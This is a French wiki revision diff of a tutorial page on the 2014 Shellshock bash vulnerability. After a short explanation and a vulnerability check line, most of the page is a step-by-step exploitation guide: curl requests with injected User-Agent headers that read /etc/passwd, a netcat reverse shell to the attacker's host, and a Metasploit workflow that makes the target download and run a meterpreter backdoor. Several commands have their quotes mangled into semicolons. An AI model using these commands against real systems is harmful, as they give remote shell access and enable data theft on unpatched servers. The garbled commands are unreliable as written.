Ci-dessous, les différences entre deux révisions de la page.
Prochaine révision Les deux révisions suivantes | |||
appsysteme:bash_-_shellshock [2016/01/30 21:13] arkinar créée |
appsysteme:bash_-_shellshock [2016/01/30 21:39] arkinar |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
**ShellShock** | **ShellShock** | ||
+ | |||
+ | {{ :appsysteme:shellshock1.jpg?nolink |}} | ||
+ | |||
+ | Qui n'a pas entendu parler de la faille shellshock ? | ||
+ | |||
+ | **Présentation :** | ||
+ | |||
+ | Shellshock, est une vulnérabilité logicielle présente dans le shell Unix bash. | ||
+ | |||
+ | La vulnérabilité touche l’interpréteur en ligne de commande Bash qui est utilisé comme Shell par défaut par les systèmes d’exploitation Linux et Unix. Soit un gros paquet de monde. | ||
+ | |||
+ | Elle est aussi appelé Bashdoor et a été découverte en septembre 2014. | ||
+ | |||
+ | __Explication__ | ||
+ | |||
+ | Bash permet de faire passer des fonctions vers le processus enfant. Les droits et contextes d'exécution sont identiques à l'utilisateur, système ou non. | ||
+ | |||
+ | Le problème est que : | ||
+ | |||
+ | De nombreux programmes utilisent le shell par défaut pour passer des variables d'environnement entre leurs processus. Le contexte change : ce n'est plus un utilisateur local et de confiance qui utilise cela, mais une multitude de programmes, parfois distants. | ||
+ | |||
+ | Ces programmes ne valident pas eux mêmes les données qu'ils donnent à Bash, et ne font souvent que passe-plat. Dans ce contexte, ce qui était auparavant une fonctionnalité se transforme alors en faille. | ||
+ | |||
+ | Voici un petite ligne de code pour voir si vous êtes vulnérable : | ||
+ | |||
+ | env x='() { :;}; echo vulnérable' bash -c "echo ceci est un test" | ||
+ | |||
+ | Si elle vous renvoi : "Vulnérable" | ||
+ | |||
+ | C'est que vous l'êtes. | ||
+ | |||
+ | source : [[http://linuxfr.org/news/une-faille-nommee-shellshock]] | ||
+ | |||
+ | **Exploitation** | ||
+ | |||
+ | Le principe est d'envoyer des commandes à distance dans les entêtes HTTP pour qu'elle soit interpréter par le serveur. | ||
+ | |||
+ | Commençons simplement : | ||
+ | |||
+ | curl -H User-Agent: () { :; }; /bin/eject; http://mon_serveur_faillible.com | ||
+ | |||
+ | curl est une commande linux permettant de forger des requêtes HTTP. | ||
+ | |||
+ | L'option -H permet de personnaliser l'entête HTTP avant qu'elle soit envoyées au serveur. | ||
+ | |||
+ | () { :; }; est le morceau de la commande qui permet de faire passer notre commande à la variable d'environnement /bin/eject permet d'ouvrir le lecteur cd du serveur vulnérable (je sais que c'est pas un exploit extraordinaire mais c'est un bon début. | ||
+ | |||
+ | Nous avons donc une variable comme cela sur le serveur : HTTP_USER_AGENT=() { :; }; /bin/eject | ||
+ | |||
+ | curl -A ;() { :;}; echo ;Content-type: text/plain;; echo; /bin/ cat /etc/passwd; | ||
+ | http://mon_serveur_faillible.com/cgi-bin/status | ||
+ | |||
+ | Cette commande quand à elle aura pour effet d'afficher le contenu de /etc/passwd de la machine distante. | ||
+ | |||
+ | L'option -A nous permet d’accéder au contenu de l'user-agent qui sera contenu dans la requête HTTP. | ||
+ | |||
+ | curl -A ;() { :;}; echo ;Content-type: text/plain;; echo; /usr/bin/id ; http://mon_serveur_faillible.com/cgi-bin/status | ||
+ | |||
+ | Cette commande nous donne l'identifiant du compte sur lequel on exécute les commandes. | ||
+ | |||
+ | Pour prendre la main complète sur le serveur 2 options s'offrent à nous : | ||
+ | |||
+ | __La première avec Netcat__ | ||
+ | |||
+ | Netcat est un utilitaire permettant d'ouvrir des connexions réseau, que ce soit UDP ou TCP.Dans un terminal tapez : | ||
+ | |||
+ | nc -l 333 | ||
+ | |||
+ | L'option -l permet d'écouter sur le port 333 (c'est bien un L et non I majuscule) | ||
+ | |||
+ | Dans un autre terminal : | ||
+ | |||
+ | curl -A ;() { :;}; /bin/nc -e /bin/sh http://mon_serveur/ 333; http://mon_serveur_faillible.com/cgi-bin/status | ||
+ | |||
+ | Ouvre un session Netcat sur le port 333 et ouvre un shell une fois la session démarrée grâce à l'option -e | ||
+ | |||
+ | Vous avez désormais la main sur la machine avec les droits de l'utilisateur qui gère le web. | ||
+ | |||
+ | Source : [[https://www.youtube.com/watch?v=8H_bYZaXLko]] | ||
+ | |||
+ | __La seconde solution avec Metasploit__ | ||
+ | |||
+ | Pour cette solution nous aurons besoin du framework Metasploit et de Apache. | ||
+ | |||
+ | Metasploit est framework permettant de simplifier les tests de pénétration suite aux vulnérabilités découverte. Il y a de très bon bouquin dessus pour ceux que sa intéresse. | ||
+ | |||
+ | On va d'abord commencer par trouver un endroit où l'on peut écrire sur le serveur | ||
+ | |||
+ | curl -A ;() { :;}; echo ;Content-type: text/plain;; echo; /bin/ ls -al /home/notre_user ; http://mon_serveur_faillible.com/cgi-bin/status | ||
+ | |||
+ | Généralement dans le dossier personnel de l'utilisateur avec lequel on exécute les commandes. | ||
+ | |||
+ | Maintenant nous allons utiliser msfpayload qui est un des outils de la suite Metasploit. | ||
+ | |||
+ | Il permet de générer des payloads(exécutable qui va nous permettre dans notre cas d'établir la connexion inverse) | ||
+ | |||
+ | Pour le générer : | ||
+ | |||
+ | msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4443 | ||
+ | |||
+ | Nous lui spécifions que nous voulons une connexion inverse en TCP sur un serveur Linux 32 Bits. | ||
+ | |||
+ | LHOST : LOCAL HOST : est votre adresse ip | ||
+ | |||
+ | LPORT : LOCAL PORT : est le port sur lequel votre machine va écouter. | ||
+ | |||
+ | Toutes ces informations nous les envoyons dans un fichier nommé lbdoor. | ||
+ | |||
+ | Démarrer votre service apache : | ||
+ | |||
+ | /etc/init.d/apache2 start | ||
+ | |||
+ | Copier le fichier lbdoor dans /var/www/ | ||
+ | |||
+ | Nous allons le télécharger sur le serveur de la vulnérable : | ||
+ | |||
+ | curl -A;() { :;}; echo ;Content-type: text/plain;; echo; /bin/ wget http://mon_serveur/lbdoor -P /home/notre_user ; http://mon_serveur_faillible.com/cgi-bin/status | ||
+ | |||
+ | On lui ajoute les droits d’exécution : | ||
+ | |||
+ | curl -A ;() { :;}; echo ;Content-type: text/plain;; echo; /bin/chmod +x /home/notre_user/lbdoor ; http://mon_serveur_faillible.com/cgi-bin/status | ||
+ | |||
+ | {{ :appsysteme:metasploit_shellshock.png?nolink |}} | ||
+ | |||
+ | On ouvre Metasploit : | ||
+ | |||
+ | msfconsole | ||
+ | |||
+ | On sélectionne le module qui nous permettra d’écouter les connexions entrante : | ||
+ | |||
+ | use exploit/multi/handler | ||
+ | |||
+ | On lui stipule qu'elle type de connexion il doit attendre : | ||
+ | |||
+ | set PAYLOAD linux/x86/meterpreter/reverse_tcp | ||
+ | |||
+ | On lui stipule sur qu'elle host il doit attendre la connexion : | ||
+ | |||
+ | set LHOST 192.168.1.1 | ||
+ | |||
+ | On lui stipule sur qu'elle port il doit attendre la connexion : | ||
+ | |||
+ | set LPORT 4443 | ||
+ | |||
+ | Et on exécute : | ||
+ | |||
+ | run | ||
+ | |||
+ | Attention il faut bien donner les mêmes informations que lorsque le payload a été généré. | ||
+ | |||
+ | A cette étape vous devriez avoir cela : | ||
+ | |||
+ | {{ :appsysteme:connexion_metasploit-3.png?nolink |}} | ||
+ | |||
+ | |||
+ | Retournons sur notre premier terminal , nous allons exécuter notre payload sur le serveur vulnérable: | ||
+ | |||
+ | curl -A ;() { :;}; echo ;Content-type: text/plain;; echo; /bin/bash -c ;/home/notre_user/lbdoor; ; http://mon_serveur_faillible.com/cgi-bin/status | ||
+ | |||
+ | Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout c'est bien passé. | ||
+ | |||
+ | {{ :appsysteme:connexion_metasploit-2.png?nolink |}} | ||
+ | |||
+ | |||
+ | Vous avez désormais accès à une session meterpreter sur la machine distante. | ||
+ | |||
+ | Si vous souhaitez obtenir un terminal , il vous suffis de taper "shell" | ||
+ | |||
+ | {{ :appsysteme:meterpreter.jpg?nolink |}} | ||
+ | |||
+ | L'outil meterpreter est puissant il embarque toute une multitude de code pour le post exploitation. | ||
+ | |||
+ | Pour plus d'info un site que je recommande [[http://sitedugaci.com/30/4/tutoriel/chapitre/meterpreter.html]] | ||
+ | |||
+ | Source :[[ https://www.youtube.com/watch?v=R3rs8hdXqso]] |